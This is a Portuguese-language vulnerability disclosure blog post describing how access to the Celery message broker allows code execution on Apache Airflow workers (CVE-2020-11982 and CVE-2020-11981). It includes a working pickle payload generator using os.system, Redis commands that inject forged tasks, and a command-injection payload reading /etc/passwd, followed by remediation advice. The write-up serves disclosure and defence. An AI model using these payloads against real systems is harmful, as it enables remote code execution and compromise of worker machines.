Skip to main content

Escapando dos message brokers

Escrito por
Headshot of Adam Goldschmidt

Adam Goldschmidt

5 de agosto de 2020

0 minutos de leitura

Recentemente, relatei duas vulnerabilidades no Apache Airflow — uma biblioteca de código aberto que permite aos desenvolvedores criar, programar e monitorar fluxos de trabalho por meio de código. Ambas permitem que o invasor altere o escopo e obtenha privilégios em outra máquina. Nos dois casos, o ataque depende de o invasor conseguir acesso ao message broker antes de executá-lo.

Nesta publicação, quero mostrar por que não se deve confiar nos message brokers e como consegui explorar o Apache Airflow para obter privilégios em máquinas que deveriam estar protegidas. Mas, antes de entrar nesse assunto, vamos começar pelo básico sobre message brokers.

O que é um message broker?

Um message broker é um software que permite que serviços se comuniquem e troquem informações. Pode parecer semelhante a uma API, mas, em geral, o message broker faz isso implementando uma fila na qual diferentes serviços podem gravar ou da qual podem ler. Assim, esses serviços podem se comunicar de forma assíncrona, mesmo que tenham sido escritos em linguagens diferentes ou implementados em plataformas distintas.

Os message brokers podem servir como ponte entre aplicações, permitindo que os remetentes publiquem mensagens sem saber onde estão os destinatários ou quantos são. Como mencionado acima, isso é feito por meio de um componente chamado fila de mensagens, que armazena as mensagens até que um serviço consumidor as processe. Essas filas também permitem a programação assíncrona: como são responsáveis por entregar as mensagens, o remetente pode continuar executando outras tarefas.

Casos de uso dos message brokers

Os message brokers são amplamente usados no desenvolvimento de software. Eles são úteis sempre que há necessidade de comunicação confiável entre vários serviços, entrega garantida de mensagens ou recursos assíncronos.

Os casos de uso dos message brokers são variados. Veja alguns dos mais comuns:

  1. Processamento de pagamentos: é importante que os pagamentos sejam enviados uma única vez. Processar essas transações com message brokers garante que as informações de pagamento não sejam perdidas nem duplicadas e fornece uma confirmação de recebimento.

  2. Tarefas assíncronas: é possível separar o processamento pesado de uma solicitação feita por um usuário ativo, para que a resposta seja imediata e o usuário não fique esperando.

  3. Encaminhamento de mensagens para um ou mais destinos: publicar mensagens em uma única origem, da qual vários serviços podem ler, é mais simples e facilita a manutenção.

Agora que você já sabe o que são message brokers e para que servem, vamos entender por que e como eles podem ser vulneráveis.

Confiança excessiva nos message brokers

Todo desenvolvedor sabe que bancos de dados podem ser invadidos. Em geral, adotamos medidas de segurança adicionais — como criptografar senhas — para dificultar o trabalho dos invasores, mesmo que, de alguma forma, o banco de dados seja comprometido.

Pela lógica, com message brokers deveria ser exatamente igual, certo? Os dados transferidos acabam chegando a diferentes máquinas e devem ser tratados com cuidado extra: não basta criptografar as informações confidenciais, também é preciso proteger as máquinas que interagem com elas.

Infelizmente, não é o que acontece. Nossa equipe de segurança encontrou alguns exemplos de uso inseguro de message brokers em sistemas reais — um deles no Apache Airflow. Esse uso inseguro consiste em confiar demais nos message brokers, por exemplo, armazenando comandos neles e depois executando-os sem sanitização. Isso pode levar a injeções de comandos ou à execução remota de código nas máquinas que se comunicam com os brokers.

Explorando o Apache Airflow

O que é o Apache Airflow?

Como mencionado brevemente acima, o Apache Airflow é um sistema completo de gerenciamento de fluxos de trabalho. Com o Airflow, os fluxos são estruturados e representados como DAGs (grafos acíclicos direcionados), e cada etapa do DAG é definida como uma tarefa específica. É uma plataforma com foco em código que permite iterar nos fluxos de trabalho com rapidez e eficiência.

O Airflow inclui um agendador de tarefas, responsável por programar e executar os DAGs. O agendador usa um componente chamado executor para executar os DAGs.

Encontrando uma vulnerabilidade zero-day no Airflow

Tudo começou quando eu pesquisava vulnerabilidades de desserialização em softwares de código aberto que usam o Celery como dependência — uma fila distribuída de tarefas em Python que implementa um message broker.

Descobri que o Airflow usa o Celery como executor, com pickle como padrão — e eu sabia que havia uma vulnerabilidade conhecida no módulo pickle do Python, que o Celery já usou como padrão.

O diagrama abaixo mostra, de forma simplificada, como o Airflow funciona com o Celery:

Diagrama que mostra um Airflow Scheduler em um nó mestre enviando tarefas por meio de um message broker para vários workers.

O agendador do Airflow usa o Celery como executor, que, por sua vez, armazena as tarefas e as executa conforme o agendamento.

O Celery usa o message broker (Redis ou RabbitMQ) para armazenar as tarefas. Em seguida, os workers leem as tarefas do broker e as executam.

Os workers do Airflow com Celery desserializam os dados pickle armazenados no message broker. Isso significa que, se eu conseguir acessar o broker, posso executar código remotamente nos workers por meio de um ataque de desserialização. Essa vulnerabilidade recebeu o identificador CVE-2020-11982.

Mas, afinal, o que é um ataque de desserialização?

A serialização é o processo de converter um objeto em uma sequência de bytes que pode ser armazenada em um disco ou banco de dados, ou enviada por fluxos de dados. O processo inverso, que cria um objeto a partir de uma sequência de bytes, é chamado de desserialização. A serialização costuma ser usada para comunicação (compartilhar objetos entre vários hosts) e persistência (armazenar o estado do objeto em um arquivo ou banco de dados).

Um ataque de desserialização ocorre quando a aplicação desserializa dados sem verificar adequadamente se o resultado é seguro, permitindo que o invasor controle o estado ou o fluxo da execução. Não estou dizendo que message brokers nunca devam armazenar dados serializados — há muitos casos em que isso é necessário. Mas acredito que esse aspecto deve ser levado em conta ao implementar esse tipo de arquitetura, e vale a pena considerar medidas de segurança adicionais.

Para saber mais sobre ataques de desserialização, confira este artigo.

Fazendo o Airflow desserializar minhas tarefas com pickle

Meu primeiro passo foi criar uma nova tarefa no Airflow e analisar sua estrutura. Adicionei um DAG (conjunto de tarefas), atribuí a ele uma fila chamada “test”, configurei o broker do Celery para usar Redis e iniciei a fila:

airflow worker -q test

airflow worker -q test

Investiguei a estrutura das mensagens no Redis e descobri que elas são armazenadas em uma tabela hash do Redis chamada unacked. Os valores dessa tabela hash têm a seguinte estrutura:

127.0.0.1:6379> hgetall unacked
"[{"body":
"W1tbImFpcmZsb3ciLCAicnVuIiwgImV4cCIsICJzbGVlcCIsICIyMDAwLTA2LTAxVDAwOjAwOjAwKzAwOjAwIiwgIi0tcGlja2xlIiwgIjE1IiwgIi0tbG9jYWwiLCAiLS1wb29sIiwgImRlZmF1bHRfcG9vbCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1d", 
"content-encoding": "utf-8", "content-type": 
"application/json", "headers": {"lang": "py", "task":
"airflow.executors.celery_executor.execute_command", "id": 
"2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, 
"timelimit": [null, null], "root_id": 
"2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, 
"argsrepr": "[['airflow', 'run', 'exp', 'sleep', 
'2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": 
"gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": 
"2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

As partes interessantes são os valores body, content-type e content-encoding. O valor de body, depois de decodificado, é:

❯ echo "W1tbImFpcmZsb3ciLCAicnVuIiwgImV4cCIsICJzbGVlcCIsICIyMDAwLTA2LTAxVDAwO
jAwOjAwKzAwOjAwIiwgIi0tcGlja2xlIiwgIjE1IiwgIi0tbG9jYWwiLCAiLS1wb29sIiw
gImRlZmF1bHRfcG9vbCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzI
jogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1d" | base64 -d
[[["airflow", "run", "exp", "sleep", "2000-06-01T00:00:00+00:00", "--pickle", "15", "--local", "--pool", "default_pool"]], {}, 
{"callbacks": null, "errbacks": null, "chain": null, "chord": null}]%

Observe que os comandos propriamente ditos estão armazenados aqui! Isso será importante para a segunda vulnerabilidade. Também encontrei um conjunto chamado unacked_index — supus que seus elementos fossem iguais aos valores das chaves da tabela hash e confirmei. Primeiro, recuperei as chaves da tabela hash:

127.0.0.1:6379> hkeys unacked
1) "1038272e-239b-4f94-b651-842005a486f7"
2) "6aa4d9be-472a-4f89-b97f-ba42b1623f30"
3) "616c8063-95f1-4778-9a4d-517a9bd548e0"
4) "130f9cb7-baaa-48dd-bf7c-d5dcadf219f0"
5) "9b1de8a0-7aef-4209-9727-c6888d1686f5"
6) "fd4963a8-7187-4add-8c81-3b97c48aab7d"
7) "5b9a0aec-d359-4f37-b09b-0351e2ce2bac"

Depois, exibi todos os elementos de unacked_index:

127.0.0.1:6379> zrange unacked_index 0 -1
1) "5b9a0aec-d359-4f37-b09b-0351e2ce2bac"
2) "fd4963a8-7187-4add-8c81-3b97c48aab7d"
3) "1038272e-239b-4f94-b651-842005a486f7"
4) "130f9cb7-baaa-48dd-bf7c-d5dcadf219f0"
5) "9b1de8a0-7aef-4209-9727-c6888d1686f5"
6) "616c8063-95f1-4778-9a4d-517a9bd548e0"
7) "6aa4d9be-472a-4f89-b97f-ba42b1623f30"

Como você pode ver, são realmente os mesmos valores, apenas em uma ordem diferente. Naquele momento, eu estava bastante confiante de que unacked_index era usado para armazenar os IDs das tarefas a serem executadas, e que a tabela hash relacionava o ID da tarefa à tarefa propriamente dita. Isso significava que, para adicionar uma nova tarefa personalizada, eu precisava adicionar um valor arbitrário a unacked_index e, em seguida, criar um novo elemento na tabela hash, usando esse mesmo valor como chave e um payload malicioso como valor.

Para prosseguir com o ataque de desserialização, eu precisava de um payload malicioso. Criei rapidamente um script em Python que gerava um payload capaz de criar um novo arquivo chamado malicious depois de ser desserializado com pickle:

class RunCmd(object):
    def __reduce__(self):
        return (os.system, ("touch malicious",))

print(base64.b64encode(pickle.dumps(RunCmd())))

Você pode ler aqui mais sobre como explorar pickle no Python. Para fazer a fila buscar o valor malicioso e desserializá-lo com pickle, precisei alterar o content-type para application/x-python-serialize (pickle) e o content-encoding para binary. Veja uma PoC para adicionar uma tarefa maliciosa:

127.0.0.1:6379> zadd unacked_index 1 5b9a0aec-d359-4f37-b09b-0351e2ce2bac

127.0.0.1:6379> hset unacked 5b9a0aec-d359-4f37-b09b-0351e2ce2bac "[{"body": "gASVKgAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjA90b3VjaCBtYWxpY2lvdXOUhZRSlC4=", "content-encoding": "binary", "content-type": "application/x-python-serialize", "headers": {"lang": "py", "task": "airflow.executors.celery_executor.execute_command", "id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, "timelimit": [null, null], "root_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, "argsrepr": "[['airflow', 'run', 'exp', 'sleep', '2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": "gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": "2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

Como explicado acima, estes foram os passos que segui:

  1. Adicionei um valor arbitrário a unacked_index como ID de tarefa.

  2. Adicionei um novo elemento a unacked: usei como chave o ID criado anteriormente e, como valor, um payload malicioso. O payload malicioso incluía o payload codificado em base64 no valor de body.

A ilustração a seguir mostra o processo:

Diagrama que mostra um broker de mensagens com Redis ou RabbitMQ armazenando tarefas, higienizando comandos e encaminhando-os para o Worker 1 e o Worker 2.

Executei a fila de teste e, voilà! Um novo arquivo chamado malicious foi criado no worker que executou a fila — uma mudança completa de escopo. Vou explicar as implicações dessa vulnerabilidade logo depois de analisarmos a próxima!

Vulnerabilidade de injeção de comandos

Vamos à segunda vulnerabilidade: uma injeção de comandos que recebeu o identificador CVE-2020-11981.

Ao investigar o código-fonte do Airflow, descobri que os comandos do message broker são executados sem qualquer sanitização. Depois do grito de “YAY!” que costuma vir quando encontramos uma vulnerabilidade, voltei ao Redis e descobri que podia injetar o seguinte payload na chave body:

❯ echo "[[["cat /etc/passwd"]], {}, {"callbacks": null, "errbacks": null, "chain": null, "chord": null}]" | base64
W1tbImNhdCAvZXRjL3Bhc3N3ZCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1dCg==

Seguindo a mesma lógica de antes, esta é uma prova de conceito (aqui, não é preciso alterar content-type nem content-encoding, pois não precisamos de nenhuma operação com pickle):

127.0.0.1:6379> hset unacked 5b9a0aec-d359-4f37-b09b-0351e2ce2bac "[{"body": "W1tbImNhdCAvZXRjL3Bhc3N3ZCJdXSwge30sIHsiY2FsbGJhY2tzIjogbnVsbCwgImVycmJhY2tzIjogbnVsbCwgImNoYWluIjogbnVsbCwgImNob3JkIjogbnVsbH1dCg==", "content-encoding": "utf-8", "content-type": "application/json", "headers": {"lang": "py", "task": "airflow.executors.celery_executor.execute_command", "id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "shadow": null, "eta": null, "expires": null, "group": null, "retries": 0, "timelimit": [null, null], "root_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "parent_id": null, "argsrepr": "[['airflow', 'run', 'exp', 'sleep', '2000-06-01T00:00:00+00:00', '--pickle', '15', '--local', '--pool', 'default_pool']]", "kwargsrepr": "{}", "origin": "gen33311@Adam-Snyk.local"}, "properties": {"correlation_id": "2bd527b2-5ada-4ea2-8808-d13ec0fc92af", "reply_to": "2af287f9-6236-360b-a0fb-ebc63e9db1fb", "delivery_mode": 2, "delivery_info": {"exchange": "", "routing_key": "test"}, "priority": 0, "body_encoding": "base64", "delivery_tag": "11e26b54-936a-4d23-b24a-6b764a4982a8"}}, "", "test"]"

Depois, descobri que também era possível injetar esse payload no RabbitMQ pelo painel do RabbitMQ. Como o RabbitMQ não usa a mesma estrutura do Redis, basta usar a lista JSON sem formatação, sem codificação em base64.

O impacto dessa vulnerabilidade é bastante parecido com o da anterior: controle total das máquinas dos workers. Para explicar melhor, imagine que, antes de explorar essa vulnerabilidade, o invasor só tinha acesso a uma máquina: o message broker. Além disso, em algumas instalações, talvez seja possível injetar mensagens no message broker por meio de uma API, sem sequer obter acesso à máquina do broker.

Depois de assumir o controle total da máquina do worker, pode ser possível expor segredos, causar uma negação de serviço e até obter acesso a outras máquinas na mesma infraestrutura. Vulnerabilidades como essa, que permitem aos invasores ampliar o alcance e as permissões de seus ataques dentro de uma rede comprometida, podem ser a diferença entre um incidente de segurança de menor impacto e um comprometimento completo.

Correção

Diagrama que mostra um invasor injetando um payload malicioso em Python em um message broker, que os workers do Airflow desserializam e executam.

Se você optar por armazenar comandos no message broker, a correção pode seguir o modelo mostrado na ilustração acima. Assim, mesmo que um invasor controle o message broker, o worker só executa comandos conhecidos e sanitiza qualquer entrada inesperada. Esse foi o método de correção escolhido pelo Apache, porque a lógica do pacote exige que os comandos sejam armazenados no message broker.

Quanto à segurança da infraestrutura, você deve adicionar medidas de proteção ao message broker, como autenticação adequada e TLS, para dificultar o acesso de invasores desde o início.

Conclusão

Essas duas vulnerabilidades mostram como consegui executar código e comandos no servidor da fila (ou worker) simplesmente obtendo acesso ao message broker. Vale destacar que, em sua configuração inicial, o Redis não exige uma senha.

A equipe do Apache reconheceu rapidamente essas vulnerabilidades e as corrigiu. Embora a equipe de segurança da Snyk não as considere de gravidade muito alta, já que ambas exigem acesso inicial à infraestrutura, elas ainda são perigosas. Não é incomum que uma vulnerabilidade exija privilégios iniciais ou outras vulnerabilidades (algum tipo de cadeia) para ser explorada.

A principal lição que quero que você tire deste post é: não confie cegamente nos seus message brokers. Pense no design e na arquitetura deles e em como você pode minimizar os riscos ao usá-los.

Comece a participar de desafios de Capture the Flag

Aprenda a resolver desafios de Capture the Flag assistindo sob demanda ao nosso workshop virtual introdutório.

Leia mais

Blog

Modelos de ponta encontraram as vulnerabilidades. Só o atacante encontrou as cadeias.

A análise estática encontrou as falhas, mas só os testes de ataque em aplicações ativas provaram como elas poderiam ser encadeadas para causar invasões. Uma comparação entre Evo COS, Claude Security e Claude Code Security.

feature insights context
Blog

Os ataques autônomos já chegaram. A defesa precisa acompanhar o ritmo.

Os atacantes autônomos estão reduzindo o tempo disponível para a defesa. Saiba como a descoberta, a correção, a validação e a prevenção contínuas ajudam as equipes de segurança a acompanhar esse ritmo.

Blog

Seu backlog de vulnerabilidades não é mais uma dívida técnica — é uma superfície de ataque

Um backlog crescente de vulnerabilidades é mais do que uma dívida técnica: ele é uma superfície de ataque. Entenda por que suposições de risco desatualizadas, atacantes automatizados e descobertas encadeadas exigem uma nova abordagem.